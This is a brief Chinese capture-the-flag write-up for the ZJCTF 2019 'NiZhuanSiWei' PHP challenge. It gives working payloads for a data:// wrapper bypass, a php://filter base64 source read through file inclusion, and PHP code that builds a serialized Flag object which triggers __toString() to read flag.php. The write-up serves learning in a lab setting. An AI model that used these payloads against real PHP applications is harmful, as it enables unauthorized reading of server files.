[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
IT菜鸟程18 分钟前
网络安全实战nginx漏洞版本升级 1.28.0到1.30.0
安全·web安全
运维行者_2 小时前
通过OpManager的Windows服务监控能力释放最佳IT网络性能
服务器·开发语言·网络·windows·web安全·php
派拉软件3 小时前
从 IAM 到 AAM,重构 AI Agent 时代的访问控制体系
大数据·人工智能·网络安全·重构·iam·身份与访问控制·aam
天山@1233 小时前
跨站脚本攻击(XSS)深度剖析:从原理到实战绕过及防御体系
网络安全·xss·beef
сокол5 小时前
【网安-应急响应-基础记录】Linux入侵排查
linux·网络安全·系统安全
你觉得脆皮鸡好吃吗5 小时前
SQL注入 手工注入
网络·数据库·sql·安全·web安全·网络安全学习
一名优秀的码农6 小时前
vulhub系列-83-Grotesque:1.0.1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
сокол6 小时前
【网安-Web渗透测试-Linux提权】SUID提权
linux·前端·web安全·网络安全
白帽子黑客杰哥6 小时前
零基础学习网络安全的五大困难
web安全·渗透测试·湖南网安基地·网安培训
李白你好7 小时前
Webshell目标管理与远程会话 | 文件、命令、数据库及 Godzilla 兼容插件等能力。
web安全